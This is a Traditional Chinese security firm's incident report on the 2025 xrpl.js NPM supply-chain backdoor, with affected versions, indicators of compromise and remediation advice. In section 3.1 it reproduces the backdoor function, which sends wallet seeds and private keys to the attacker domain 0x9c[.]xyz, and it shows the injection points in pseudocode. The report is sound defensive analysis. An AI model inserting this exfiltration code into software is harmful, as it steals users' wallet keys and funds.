1. 引言

於2025年4月21日至22日,一場針對 XRP Ledger 生態系統的重大供應鏈攻擊,通過其官方 JavaScript/TypeScript 函式庫 xrpl.js (託管於 Node Package Manager, NPM)展開。此攻擊涉及植入一個加密後門,主要目的為竊取加密貨幣錢包的私鑰、種子(Seeds)及助記詞(Mnemonics) 被入侵套件每週下載量超過14萬次,對去中心化金融(DeFi)應用程式及依賴 XRP Ledger 的機構基礎設施構成系統性風險。本報告將剖析攻擊的技術細節,評估其影響,並提出緩解策略。


XRP Ledger 危機:千萬用戶面臨 NPM 供應鏈攻擊威脅 | 資訊安全新聞

2. 攻擊概述

惡意攻擊源自一個 NPM 帳戶( mukulljangid ),該帳戶可能被入侵,用於發布五個受污染的 xrpl 套件版本: 4.2.1、4.2.2、4.2.3、4.2.4 及 2.14.2 。這些版本引入了一個隱秘函數 checkValidityOfSeed() ,通過 HTTP POST Request 將敏感錢包資料傳輸至 0x9c[.]xyz 網域。此攻擊未損害 XRP Ledger 的核心程式碼,但利用其高信任度的開發工具滲透下游應用程式。

3. 技術分析

3.1 惡意程式碼植入

攻擊者將後門嵌入函式庫的 src/index.ts 檔案中。函數 checkValidityOfSeed() 表面上用於驗證加密種子,實際上卻將其竊取至遠端伺服器:

  1. const validSeeds = new Set<string>([]);
  2. export function checkValidityOfSeed(seed: string) {
  3. if (validSeeds.has(seed)) return;
  4. validSeeds.add(seed);
  5. fetch("https://0x9c[.]xyz/xc", {
  6. method: 'POST',
  7. headers: { 'ad-referral': seed }
  8. });
  9. }

此函數被系統性地嵌入關鍵錢包初始化方法,包括:

  • Wallet 類別建構函數
  • deriveWallet()
  • fromEntropy()
  • fromSeed()
  • generate()

3.2 攻擊演進

攻擊者在不同版本中逐步改良技術:

  • 4.2.1/4.2.2 :惡意程式碼被植入預編譯的 JavaScript 檔案( build/xrp-latest-min.js ),繞過 TypeScript 原始碼審計(Source audits)。
  • 4.2.3/4.2.4 :後門轉移至 TypeScript 原始檔案( src/index.ts ),實現更廣泛的整合並規避靜態分析工具。

這種進展顯示攻擊者試圖在持久性與隱匿性之間取得平衡,利用 NPM 的自動化建構流程分發混淆的 Payload。

3.3 網域分析 (Domain Analysis)

竊取資料的網域 0x9c[.]xyz 在攻擊前不久註冊,缺乏歷史合法性。WHOIS 記錄顯示的辨識資訊極少,符合高級 Threat actor 常用的拋棄式基礎設施特徵。使用 HTTP(而非 HTTPS)進一步表明攻擊者優先考慮簡單性而非加密,可能是為了避免使用憑證的偵測。

3.4 程式碼執行流程

以下 Pseudocode 展示了攻擊如何整合進錢包初始化流程:

  1. class Wallet {
  2. constructor(publicKey: string, privateKey: string, opts: { seed?: string }) {
  3. // ...
  4. checkValidityOfSeed(privateKey); // 惡意呼叫
  5. }
  6. static fromSeed(seed: string) {
  7. checkValidityOfSeed(seed); // 惡意呼叫
  8. return deriveWallet(seed);
  9. }
  10. }

4. 入侵指標 (IoCs)

  • 受影響版本 :4.2.1–4.2.4、2.14.2。
  • 網路攻擊 :對 0x9c[.]xyz/xc 發送包含種子或金鑰的 ad-referral 標頭的 HTTP POST Request。
  • 程式碼痕跡 :在 src/index.ts 或編譯後的 JS 檔案中出現 checkValidityOfSeed()

5. 緩解與修復

XRP Ledger 基金會已回應,廢除惡意版本並發布修補更新( 4.2.5 2.14.3 )。建議採取以下措施:

  1. 立即升級版本 :將被入侵版本替換為更新版本。
  2. 金鑰更新(Key Rotation) :假設所有受影響版本處理的金鑰均已洩露。
  3. 網路日誌審查 :識別與 0x9c[.]xyz 的連線並隔離受影響系統。
  4. 供應鏈強化 :為 NPM 帳戶實施多因素認證(MFA)並監控提交歷史(Commit histories)以防未授權變更。

6. 供應鏈安全的影響

此次攻擊凸顯開源生態系統的系統性漏洞:

  • 信任濫用 :攻擊者針對高知名度的套件,利用其合法性擴大影響範圍。
  • 建構流程操縱 :通過入侵 TypeScript 原始檔案,攻擊者將 NPM 的自動化建構 Pipelines 武器化,規避人工程式碼審查。
  • 經濟影響 :XRP Ledger 的 DeFi 資產達8000萬美元,即便部分攻擊也可能動搖機構信任。

7. 結論

xrpl.js 供應鏈攻擊結合了社交工程與技術規避的精妙手法。雖然 XRP Ledger 的核心區塊鏈保持安全,但此事件突顯依賴驅動開發的脆弱性。未來防禦應優先考慮即時程式碼監控(例如透過基於 LLM 的系統如 Aikido Intel)、更嚴格的存取控制及去中心化的套件驗證機制。

Copyright © 2025 版權所有 翊天科技有限公司